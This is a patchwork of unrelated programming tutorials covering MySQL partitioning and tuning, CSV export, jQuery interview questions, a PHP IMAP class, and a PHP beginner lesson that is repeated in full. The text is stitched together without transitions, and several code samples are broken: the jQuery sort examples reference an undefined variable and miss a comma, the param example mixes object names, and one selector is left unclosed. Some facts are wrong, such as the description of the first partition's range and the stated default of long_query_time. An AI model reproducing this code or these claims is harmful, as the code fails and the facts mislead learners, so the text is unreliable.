Before you try to partition a table, first check whether your version of MySQL was built with partitioning support. When compiling MySQL from source, you need to use the -DWITH_PARTITION_STORAGE_ENGINE option to build partitioning support; the MySQL software package distributed in the repositories of most distributions comes with the partitions option built-in. To check, run SHOW PLUGINS; at the MySQL prompt, which will print a tabular list of all plugins and their status. Make sure that partition is listed as one of the plugins; if it isn’t, you can’t use the partitioning feature of MySQL.

You can create partitions when creating a table, or alter an existing table to partition its data set. You can create various types of partitions, such as RANGE, LIST, and HASH. The most commonly used is Range, where each partition is defined to accept a specific range of values for some column. What partition suits your table best will depend on the type of data stored in the table.

You must use the PARTITION BY keyword to define how the partitions are to be effected. So, to create a partition based on a range of data such as year, use the PARTITION BY RANGE(YEAR(order_date)) clause, like so:

CREATE TABLE employees (
order_date DATETIME NOT NULL,
— Other columns omitted
) PARTITION BY RANGE(YEAR(order_date)) (
PARTITION p_2009 VALUES LESS THAN (2009),
PARTITION p_2010 VALUES LESS THAN (2010),
PARTITION p_all VALUES LESS THAN MAXVALUE );

This command will create three partitions on the table employees, one for each of the specified years. Here, the first partition holds data for all years up to 2009, while the last partition, p_all, holds all the records that are left over after the other records are partitioned. The data is partitioned as soon as it matches a partitioning criterion, so no two partitions can have the same data.

When querying data from a partitioned table, you don’t need to specify the partition; the query remains the same whether or not you use partitions. MySQL will automatically deduce which partition to retrieve the information from.

As with indexes, there’s a small performance penalty with partitioning. When you insert new rows into a partitioned table, MySQL has to determine which partition the new data should go into, and this requires resources. While this additional drain on resources isn’t necessarily crippling, you have to take it into account when creating partitions. Depending on the size of the table, it might be wise to use dozens of partitions, but once you start reaching into the hundreds, take due care that using partitions itself doesn’t affect performance.
Identify Slow Queries

One of the best thing about MySQL is that it can help you identify the queries that take up the most resources via its slow-query-log.

MySQL doesn’t record slow queries by default; running mysqladmin var | grep log_slow_queries in the terminal will confirm this for you. To enable the option, edit the my.cnf configuration file and add these lines under the [mysqld] block:

long_query_time = 1
log-slow-queries = /var/log/mysql/mysql-slow-query.log

The default long_query_time is 0, but we’ve set it to 1 here to make MySQL log all queries that take longer than 1 second to execute. Feel free to change this value, as well as the location for the log file. When you’re done, you need to restart the MySQL server with the command /etc/init.d/mysql restart for the changes in the my.cnf file to take effect.

You can then use the mysqldumpslow command-line tool, included with MySQL, to get a summary of the slow-query-log file. If you see a list of queries that are taking too much time to execute, you can try to find out why.

Explain is one of the most widely used MySQL query analysis tool available. When used with a SELECT statement, it reveals a wide array of information, such as the number of tables involved in the statement, how the data is looked up, if there are any subqueries, whether any indexes are used, and much more. You can run Explain on each of of the slow queries to determine why the statements are slow. Once you know the causes, you should be able to figure out how to fix the problems.
Fix That Configuration File

One final tip: MySQL Tuner is a Perl script that you can run to test your MySQL performance. Based on the results, and other observations, the script will then advise what changes you can make in the configuration file to improve performance.

At the terminal, type wget http://mysqltuner.com/mysqltuner.pl to download the script. Make the script executable with the command chmod +x mysqltuner.pl. Run it by typing ./mysqltuner.pl; you will be prompted for your MySQL root password.

The output from the script is divided into sections. The General and Storage Engine Statistics at the top tells you the number of tables in each of the different storage engines. Performance Metrics lists parameters the script checks the system for, such as slow queries, memory usage, and temporary tables. Finally, the Recommendations section lists all the variables that you need to adjust in the configuration files.

What is MySQL

1. MySQL is a open source Relational Database Management System developed by Michael Widenius and David Axmark in 1994.

2. MySQL is very popular when it comes to Web development. It is widely-used as the database component of LAMP web application software stack.

3. Source code of MySQL is available under GNU General Public License.

4. MySQL is maintained by a Swedish company MySQL AB, now owned by Oracle Corporation.

Key features of MySQL

1. MySQL follows ANSI SQL 99, the standard SQL.

2. Cross Platform.

3. RDBMS features like Stored procedures, Triggers, Cursors, Views which can be updated, True Varchar support, Query caching, Sub-SELECT etc.

4.Support for replication.

5. Support for hotbackup.

6. Support for MySQL cluster.

7. Full-text indexing and searching.

8. SSL support.

9. Partial Unicode support.

MySQL Tutorial

MySQL is currently the most popular open source database server in existence. On top of that, it is very commonly used in conjunction with PHP scripts to create powerful and dynamic server-side applications

MySQL has been criticized in the past for not supporting all the features of other popular and more expensive DataBase Management Systems. However, MySQL continues to improve with each release (currently version 5), and it has become widely popular with individuals and businesses of many different sizes.

what is a database?

A database is a structure that comes in two flavors: a flat database and a relational database. A relational database is much more oriented to the human mind and is often preferred over the gabble-de-gook flat database that are just stored on hard drives like a text file. MySQL is a relational database.

In a relational structured database there are tables that store data. The columns define which kinds of information will be stored in the table. An individual column must be created for each type of data you wish to store (i.e. Age, Weight, Height).

On the other hand, a row contains the actual values for these specified columns. Each row will have 1 value for each and every column. For example a table with columns (Name, Age, Weight-lbs) could have a row with the values (Bob, 65, 165). If all this relational database talk is too confusing, don’t despair. We will talk about and show a few examples in the coming lessons.

why use a database?

Databases are most useful when it comes to storing information that fits into logical categories. For example, say that you wanted to store information of all the employees in a company. With a database you can group different parts of your business into separate tables to help store your information logically. Example tables might be: Employees, Supervisors, and Customers. Each table would then contain columns specific to these three areas. To help store information related to each employee, the Employees table might have the following columns: Hire, Date, Position, Age, and Salary.

Here are the ways you can export tables and databases,
each of them have their advantages and disadvantages depending on the task at hand.
We will list out each with examples and discuss them.

We will assume that the database name is DB and table name is Table.

1. Going native with SQL and generating an csv from the MySQL console
Assuming that you are already logged into your mysql console using say
mysql -u <user> -p <database>

replace <user> with your username
replace <database> with your database

You can use the following command to generate an csv of pretty much any SQL.

select * from T
into outfile ”
fields enclosed by ‘”‘
fields terminated by ‘,’
lines terminated by ‘\n’
where id=1;

One of the limitation is that you cannot get the column names in the csv using this.

2. You can use the mysqldump utility provided, to actually take an output of complete databases/tables or partial tables.

mysqldump -u <user> -p -t -T<location directory> –databases D –tables T –where=”id=1″ –fields-enclosed-by=\” –fields-terminated-by=,

The above query will take the output of the Table T from Database D and generate a clean CSV in the location provided with the filename T.csv
The clear limitation as compared to 1 is that you cannot get output of joins and you do not get the column names in the csv.

3. You can now use the mysql commandline to output csv as well

mysql -u root -p D -e “select * from T where id=1” > export.csv

The above query will output the query results with the column names in row 0.
The limitation is that you cannot control the fields enclosed, fields terminated like 1 and 2.

1- What is jQuery ?

It’s very simple but most valuable Question on jQuery means jQuery is a fast and concise JavaScript Library that simplifies HTML document traversing, animating, event handling, and Ajax interactions for rapid web development. jQuery is designed to change the way that you write JavaScript. Jquery is build library for javascript no need to write your own functions or script jquery all ready done for you

2- How you will use Jquery means requirement needed for using jquery?

Nothing more need to do just olny download jquery library(.js file) from any of the jquery site Download jquery and just linked with your html pages like all other javascript file

like below :

Code:

< script src=”jquery.js” language=”javascript” type=”text/javascript”>

3- what the use of $ symbol in Jquery?
$ Symbol is just replacement of jquery means at the place of $ you may use jquery hence $ symbol is used for indication that this line used for jquery

4- How do you select an item using css class or ID and get the value by use of jquery?
If an element of html like < div> , < p> or any tag have ID MyId and class used MyClass then we select the element by below jquery code
Code:
$(‘#MyId’) for ID and for classs $(‘.MyClass’)
and for value

Code:
var myValue = $(‘#MyId’).val();
// get the value in var Myvalue by id
Or for set the value in selected item

Code:
$(‘#MyId’).val(“print me”);
// set the value of a form input

5- How to get the server response from an AJAX request using Jquery?

When invoking functions that have asynchronous behavior We must provide a callback function to capture the desired result. This is especially important with AJAX in the browser because when a remote request is made, it is indeterminate when the response will be received.
Below an example of making an AJAX call and alerting the response (or error):

Code:
$.ajax({
url: ‘swtEmpRecords.php’,
success: function(response) {
alert(response);
},
error: function(xhr) {
alert(‘Error! Status = ‘ + xhr.status);
}
});

6- How do you update ajax response with id ” resilts”?
By using below code we can update div content where id ‘results’ with ajax response

Code:
function updateStatus() {
$.ajax({
url: ‘swtEmpRecords.php’,
success: function(response) {
// update div id Results
$(‘#results’).html(response);
}
});
}

7- How do You disable or enable a form element?
There are two ways to disable or enable form elements.
Set the ‘disabled’ attribute to true or false:

Code:
// Disable #swt
$(‘#swt’).attr(‘disabled’, true);
// Enable #swt
$(‘#swt’).attr(‘disabled’, false);
Add or remove the ‘disabled’ attribute:
// Disable #swt
$(“#swt”).attr(‘disabled’, ‘disabled’);
// Enable #x
$(“#swt”).removeAttr(‘disabled’);

8- How do you check or uncheck a checkbox input or radio button?
There are two ways to check or uncheck a checkbox or radio button.
Set the ‘checked’ attribute to true or false.

Code:
// Check #swt
$(‘#swt’).attr(‘checked’, true);
// Uncheck #swt
$(‘#swt’).attr(‘checked’, false);
Add or remove the ‘checked’ attribute:
// Check #swt
$(“#swt”).attr(‘checked’, ‘checked’);
// Uncheck #swt
$(“#swt”).removeAttr(‘checked’);

9- How do you get the text value of a selected option?
Select elements typically have two values that you want to access. First there’s the value to be sent to the server, which is easy:

Code:
$(“#swtselect”).val();
// => 1
The second is the text value of the select. For example, using the following select box:

Code:
<select id=”swtselect”>
<option value=”1″>Mr</option>
<option value=”2″>Mrs</option>
<option value=”3″>Ms</option>
<option value=”4″>Dr</option>
<option value=”5″>Prof</option>
</select>
If you wanted to get the string “Mr” if the first option was selected (instead of just “1”), you would do that in the following way:

Code:
$(“#mswtselect option:selected”).text();
// => “Mr”

 
10) What is difference between $(this) and ‘this’ in jQuery?

Refer the following example

$(document).ready(function(){
$(‘#clickme’).click(function(){
alert($(this).text());
alert(this.innerText);
});
});

-this and $(this) references the same element but the difference is that “this” is used in traditional way but when “this” is used with $() then it becomes a jQuery object on which we can use the functions of jQuery.
-In the example given, when only “this” keyword is used then we can use the jQuery text() function to get the text of the element, because it is not jQuery object. Once the “this” keyword is wrapped in $() then we can use the jQuery function text() to get the text of the element.

11) What is the use of param() method.

The param() method is used to represent an array or an object in serialize manner.
While making an ajax request we can use these serialize values in the query strings of URL.
Syntax: $.param(object | array, boolValue)
“object | array” specifies an array or an object to be serialized.
“boolValue” specifies whether to use the traditional style of param serialization or not.
For example:

personObj=new Object();
empObject.name=”Arpit”;
empObject.age=”24″;
empObject.dept=”IT”;
$(“#clickme”).click(function(){
$(“span”).text($.param(empObject));
});
It will set the text of span to “name=Arpit&age=24&dep=IT”

12) What is jQuery.holdReady() function?

-By using jQuery.holdReady() function we can hold or release the execution of jQuery’s ready event.
-This method should be call before we run ready event.
-To delay the ready event, we have to call

jQuery.holdReady(true);

-When we want to release the ready event then we have to call
jQuery.holdReady(false);
-This function is helpful when we want to load any jQuery plugins before the execution of ready event.

For example

$.holdReady(true);
$.getScript(“xyzplugin.js”, function() {
$.holdReady(false);
});

13) Explain .empty() vs .remove() vs .detach().

-.empty() method is used to remove all the child elements from matched elements.
-.remove() method is used to remove all the matched element. This method will remove all the jQuery data associated with the matched element.
-.detach() method is same as .remove() method except that the .detach() method doesn’t remove jQuery data associated with the matched elements.
-.remove() is faster than .empty() or .detach() method.

Syntax:

$(selector).empty();
$(selector).remove();
$(selector).detach();

14) How to read, write and delete cookies in jQuery?

-To deal with cookies in jQuery we have to use the Dough cookie plugin.
-Dough is easy to use and having powerful features.
-Create cookie

$.dough(“cookie_name”, “cookie_value”);

Read Cookie
$.dough(“cookie_name”);
Delete cookie
$.dough(“cookie_name”, “remove”);

15) Is window.onload is different from document.ready()?

– The window.onload() is Java script function and document.ready() is jQuery event which are called when page is loaded.
– The difference is that document.ready() is called after the DOM is loaded without waiting for all the contents to get loaded. While window.onload() function waits until the contents of page is loaded.
– Suppose there is very large image on a page, at that time window.onload() will wait until that image is loaded totally.
– So while using the window.onlaod() function the execution will be slow, but the document.ready() will not wait until the image is loaded.

16) What is Chaining in jQuery?

– Chaining is very powerful feature of jQuery.
– Chaining means specifying multiple function and/or selectors to an element.
– Examine the below example

$(document).ready(function(){
$(‘#mydiv’).css(‘color’, ‘blue’);
$(‘#mydiv’).addClass(‘myclass’);
$(‘#mydiv’).fadeIn(‘fast’);
}

By using chaining we can write above code as follows

$(document).ready(function(){
$(‘#mydiv’).css(‘color’, ‘blue’).addClass(‘myclass’).fadeIn(‘fast’);
});

-Advantage of chaining is that it makes your code simple and simple to manage.
-The execution becomes faster because the code search for the element only once.

17) What is difference between sorting string array and sorting numerical array in jQuery?

The sort method is used to sort any array elements. It sorts the string elements alphabetically.

For example

$(document).ready(function(){
var mylist = [ “Apple”,”Orange”,”Banana”];
mylist = mylist.sort();
$(“#mydiv”).html(list.join(“”));
});

It will give following output
Apple
Banana
Orange

Now we declare a numerical array and use sort() method to sort its elements.

$(document).ready(function(){
var mylist = [ “20”,”3″”100″,”50″];
mylist = mylist.sort();
$(“#mydiv”).html(list.join(“”));
});

It will give following output
100
20
3
50

18) What is difference between prop and attr?

In jQuery both prop() and attr() function is used to set/get the value of specified property of an element.
The difference in both the function is that attr() returns the default value of the property while the prop() returns the current value of the property.
For example

<input value=”My Value” type=”text”/>

$(‘input’).prop(‘value’, ‘Changed Value’);

-.attr(‘value’) will return ‘My Value’
-.prop(‘value’) will return ‘Changed Value’

19) How to always reference latest version of jQuery?

When you reference the jQuery on your web page, you have to specify the version number also.

<script type=”text/javascript”
src=”http://ajax.googleapis.com/ajax/libs/jquery/1.5.1/jquery.min.js”>
</script>

Above code will always load the 1.5.1 version of jQuery. If you reference the latest jQuery then you don’t need to change the code every time the new version of jQuery is released.

To achieve this you have to use following code
<script type=”text/javascript”
src=”http://code.jquery.com/jquery-latest.min.js”>
</script>

This code will always reference the latest version of jQuery in your page.

20) What is resize() function in jQuery?

The resize() function is called whenever the browser size is changed. This event can be only used with $(window).

Syntax:

.resize([event_data], handler(event_object))

-The “event_data” is the data to be sent to the handler.
-The “handler(event_object)” is a function to be called each time when the window is resized.

For example

$(window).resize(function() {
$(‘#message).text(‘window is resized to ‘ + $(window).width() + ‘x’ + $(window).height());
});

PHP already has a nice IMAP extension which needs to be installed and enabled before going further. The core functionality is all there, but the specifics on how to use it aren’t necessarily all that clear.

Here’s a PHP class I put together to do some basic operations on an IMAP Inbox. It’s a bit tailored to this project, but could be easily revised to fit other needs or extended to be more full featured.

 

<?php
class Email_reader {
// imap server connection
public $conn;
// inbox storage and inbox message count
private $inbox;
private $msg_cnt;
// email login credentials
private $server = ‘yourserver.com’;
private $user = ’email@yourserver.com’;
private $pass = ‘yourpassword’;
private $port = 143; // adjust according to server settings
// connect to the server and get the inbox emails
function __construct() {
$this->connect();
$this->inbox();
}
// close the server connection
function close() {
$this->inbox = array();
$this->msg_cnt = 0;
imap_close($this->conn);
}
// open the server connection
// the imap_open function parameters will need to be changed for the particular server
// these are laid out to connect to a Dreamhost IMAP server
function connect() {
$this->conn = imap_open(‘{‘.$this->server.’/notls}’, $this->user, $this->pass);
}

// move the message to a new folder
function move($msg_index, $folder=’INBOX.Processed’) {
// move on server
imap_mail_move($this->conn, $msg_index, $folder);
imap_expunge($this->conn);

// re-read the inbox
$this->inbox();
}

// get a specific message (1 = first email, 2 = second email, etc.)
function get($msg_index=NULL) {
if (count($this->inbox) <= 0) {
return array();
}
elseif ( ! is_null($msg_index) && isset($this->inbox[$msg_index])) {
return $this->inbox[$msg_index];
}

return $this->inbox[0];
}

// read the inbox
function inbox() {
$this->msg_cnt = imap_num_msg($this->conn);

$in = array();
for($i = 1; $i <= $this->msg_cnt; $i++) {
$in[] = array(
‘index’ => $i,
‘header’ => imap_headerinfo($this->conn, $i),
‘body’ => imap_body($this->conn, $i),
‘structure’ => imap_fetchstructure($this->conn, $i)
);
}
$this->inbox = $in;
}

}

?>

A fair amount of this is self-explanatory or commented inline, but I will go over the inbox() method because it is the core functionality. The IMAP inbox is much like an array with a numbered key starting at 1. In the inbox() method, I store that index so that the email can be moved, deleted, or read again later.

Next, the header is stored with the function imap_headerinfo(). This pulls down an object from the server containing information like the Subject, From: address, To: address, and text encoding type.

Using imap_body(), the body text of the email is retrieved. What’s returned isn’t overly clean as it’s just the raw body with boundaries included (see: multipart messages). If the received email is in HTML, there will be a plain text and HTML version included. It’s certainly possible to parse through this data like any email client does, but it’s definitely a little bit messy.

Lastly, ‘structure’ is retrieved with the imap_fetchstructure() function. This is very important if you are trying to access attachments as I was with My Slow Low. In my next post, I’ll go further into the details of saving an attachment from an email and share some more about how I implemented the email processor for My Slow Low.

PHP is a programming language that was developed to to produce dynamic web pages. Technically speaking it’s a server-side scripting language. Server-side means that it works on the server, as opposed to stuff that runs on the client (i.e., the browser), like JavaScript or Java applets. Scripting means that PHP is an interpreted language used mostly to create dynamic web pages, as opposed to a compiled language like C or C++ which are used to create complete applications. Other scripting languages popular in web development are Perl, Python and Ruby

Speaking of which, why should you learn PHP and not one of those other scripting languages I mentioned? There are three main reasons:

1. PHP is the only language that was specifically designed to create dynamic web pages, as such you’ll find that it’s much easier to get started and to accomplish basic tasks (e.g., to parse data from web forms, to send emails, to manage cookies and so on) with PHP.

2. Most hosting plans these days already come with PHP installed, so you won’t need to worry about getting the PHP interpreter up and running. You just need to create your scripts and away you go.

3. There’s a huge community of PHP users as well as a huge number of important online projects running on PHP (e.g., WordPress, vBulletin). So you’ll be able to find help as well as examples.

Now don’t get the wrong idea. I am not saying PHP is better than the other languages. Ruby from what I heard is a fantastic language as well, and the Ruby on Rails framework is one of the most advanced these days. Same goes for Python, which I used when I was starting to code a couple of years ago and I still love it due to its simplicity and efficiency.

All I am saying is that PHP is the easier one to get started, and if you just want to implement some basic online projects it will probably be all you need to learn.

Running Your PHP Programs

Before you can run your PHP scripts you need install the PHP interpreter on your machine. If you are using Windows check the installation manual here. If you are running Linux all you have to do is to type the following on the terminal:

sudo apt-get install php5

And they say it’s complicated to do things on Linux…

If you have a hosting plan it’s very likely that your server already has a PHP interpreter installed, so you can also run your scripts online. In this case you just need to upload a file with the .php extension via ftp and then browse to that file with your browser.

If you are running your scripts on your Linux machine then save your file as .php and then run it as:

php file.php

Windows users can check how to run PHP scripts here.

Your First Program: Hello World

The first program that you’ll run on probably all languages you learn is a simple one to display the “Hello World” message on the screen. In PHP it looks like this:

<?php
echo “Hello World”;
?>

Every PHP script starts with <?php and ends with ?>. Echo is a language construct used to output strings. Notice that every statement in PHP must end with a semicolon. If you forget it your scripts won’t run.

PHP Strings

A string is nothing more than a series of characters, and it’s one of PHP’s eight primitive types (I’ll cover the remaining ones later on).

Since web pages involve mostly text you’ll be using PHP strings a lot.

Strings in PHP can be represented with either single or double quotation marks. So “Hello World” is pretty much equivalent to ‘Hello World’. There are two main differences, though, explained later on.

Before explaining the differences we need to talk about escape sequences. A escape sequence is a combination of characters to produce another one in special circumstances). For example, let’s say you want to print the follow sentence with a PHP script: “This is Peter’s car.”

If you write your script like this:

<?php
echo ‘This is Peter’s car’;
?>

You’ll get an error, because the PHP interpreter will assume that the string finished right after Peter. If you want to make that apostrophe part of the string you need to use the escape sequence \’ (most escape sequences begin with a backslash).

<?php
echo ‘This is Peter\’s car’;
?>

The code above works fine. An alternative is to alternate double with single quotation marks. So:

<?php
echo “This is Peter’s car”;
?>

would also work, as would this:

<?php
echo ‘The “Lord of the Rings” book is very long.’;
?>

Other common escape sequences are \n to add a newline, \t to add a tab and \\ for the backslash itself. In fact from now on I’ll add the \n escape sequence to the end of all strings to make sure we print a newline after them, which makes reading the output easier.

Now this is the first difference between the types of strings: strings with single quotation marks only support the \’ escape sequence, while strings with double quotation marks support all of them.

The second difference is that strings with double quotation marks expand variables inside it. I’ll explain variables below and then return to this point.

PHP Variables

A variable can be seen as a container for some data. Variables in PHP start with the $ sign. Check the following script:

<?php
$x = 10;
$y = 20;
echo $x + $y;
?>

We basically created two variables, assigned a value to each of them, and then printed the sum on the screen.

PHP is a dynamically typed language, which means that it’s variables don’t have any specific type. This means that the same variable can start holding an integer, and later on you can make it hold a string, for example.

Mixing Variables and Strings

As I mentioned before, double quoted strings expand variables inside them. Take a look at the code below:

<?php
$var = “World”;
echo “Hello $var\n”;
?>

The output is “Hello World”, because the variable gets expanded inside the string. Even variables holding integers will be expanded on the string.

String Concatenation

Another important point is string concatenation. Often times you’ll need to concatenate strings together, and the easiest way of doing it is with a dot. For instance:

<?php
echo “Hello” . “World\n”;
?>

Or:

<?php
$x = 10;
$y = 20;
echo $x + $y . “\n”;
?>

The above code first adds x with y, then converts the result into a string, and then concatenate it with the “\n” string, effectively printing out 30 with a newline after it.

PHP comes with a huge amount of built-in string functions. You can check all them on the official PHP manual. For instance, there are functions to find the length of a string, to search for specific characters inside it, and pretty much anything else you might need.

 

PHP is a programming language that was developed to to produce dynamic web pages. Technically speaking it’s a server-side scripting language. Server-side means that it works on the server, as opposed to stuff that runs on the client (i.e., the browser), like JavaScript or Java applets. Scripting means that PHP is an interpreted language used mostly to create dynamic web pages, as opposed to a compiled language like C or C++ which are used to create complete applications. Other scripting languages popular in web development are Perl, Python and Ruby

Speaking of which, why should you learn PHP and not one of those other scripting languages I mentioned? There are three main reasons:

1. PHP is the only language that was specifically designed to create dynamic web pages, as such you’ll find that it’s much easier to get started and to accomplish basic tasks (e.g., to parse data from web forms, to send emails, to manage cookies and so on) with PHP.

2. Most hosting plans these days already come with PHP installed, so you won’t need to worry about getting the PHP interpreter up and running. You just need to create your scripts and away you go.

3. There’s a huge community of PHP users as well as a huge number of important online projects running on PHP (e.g., WordPress, vBulletin). So you’ll be able to find help as well as examples.

Now don’t get the wrong idea. I am not saying PHP is better than the other languages. Ruby from what I heard is a fantastic language as well, and the Ruby on Rails framework is one of the most advanced these days. Same goes for Python, which I used when I was starting to code a couple of years ago and I still love it due to its simplicity and efficiency.

All I am saying is that PHP is the easier one to get started, and if you just want to implement some basic online projects it will probably be all you need to learn.

Running Your PHP Programs

Before you can run your PHP scripts you need install the PHP interpreter on your machine. If you are using Windows check the installation manual here. If you are running Linux all you have to do is to type the following on the terminal:

sudo apt-get install php5

And they say it’s complicated to do things on Linux…

If you have a hosting plan it’s very likely that your server already has a PHP interpreter installed, so you can also run your scripts online. In this case you just need to upload a file with the .php extension via ftp and then browse to that file with your browser.

If you are running your scripts on your Linux machine then save your file as .php and then run it as:

php file.php

Windows users can check how to run PHP scripts here.

Your First Program: Hello World

The first program that you’ll run on probably all languages you learn is a simple one to display the “Hello World” message on the screen. In PHP it looks like this:

<?php
echo “Hello World”;
?>

Every PHP script starts with <?php and ends with ?>. Echo is a language construct used to output strings. Notice that every statement in PHP must end with a semicolon. If you forget it your scripts won’t run.

PHP Strings

A string is nothing more than a series of characters, and it’s one of PHP’s eight primitive types (I’ll cover the remaining ones later on).

Since web pages involve mostly text you’ll be using PHP strings a lot.

Strings in PHP can be represented with either single or double quotation marks. So “Hello World” is pretty much equivalent to ‘Hello World’. There are two main differences, though, explained later on.

Before explaining the differences we need to talk about escape sequences. A escape sequence is a combination of characters to produce another one in special circumstances). For example, let’s say you want to print the follow sentence with a PHP script: “This is Peter’s car.”

If you write your script like this:

<?php
echo ‘This is Peter’s car’;
?>

You’ll get an error, because the PHP interpreter will assume that the string finished right after Peter. If you want to make that apostrophe part of the string you need to use the escape sequence \’ (most escape sequences begin with a backslash).

<?php
echo ‘This is Peter\’s car’;
?>

The code above works fine. An alternative is to alternate double with single quotation marks. So:

<?php
echo “This is Peter’s car”;
?>

would also work, as would this:

<?php
echo ‘The “Lord of the Rings” book is very long.’;
?>

Other common escape sequences are \n to add a newline, \t to add a tab and \\ for the backslash itself. In fact from now on I’ll add the \n escape sequence to the end of all strings to make sure we print a newline after them, which makes reading the output easier.

Now this is the first difference between the types of strings: strings with single quotation marks only support the \’ escape sequence, while strings with double quotation marks support all of them.

The second difference is that strings with double quotation marks expand variables inside it. I’ll explain variables below and then return to this point.

PHP Variables

A variable can be seen as a container for some data. Variables in PHP start with the $ sign. Check the following script:

<?php
$x = 10;
$y = 20;
echo $x + $y;
?>

We basically created two variables, assigned a value to each of them, and then printed the sum on the screen.

PHP is a dynamically typed language, which means that it’s variables don’t have any specific type. This means that the same variable can start holding an integer, and later on you can make it hold a string, for example.

Mixing Variables and Strings

As I mentioned before, double quoted strings expand variables inside them. Take a look at the code below:

<?php
$var = “World”;
echo “Hello $var\n”;
?>

The output is “Hello World”, because the variable gets expanded inside the string. Even variables holding integers will be expanded on the string.

String Concatenation

Another important point is string concatenation. Often times you’ll need to concatenate strings together, and the easiest way of doing it is with a dot. For instance:

<?php
echo “Hello” . “World\n”;
?>

Or:

<?php
$x = 10;
$y = 20;
echo $x + $y . “\n”;
?>

The above code first adds x with y, then converts the result into a string, and then concatenate it with the “\n” string, effectively printing out 30 with a newline after it.

PHP comes with a huge amount of built-in string functions. You can check all them on the official PHP manual. For instance, there are functions to find the length of a string, to search for specific characters inside it, and pretty much anything else you might need.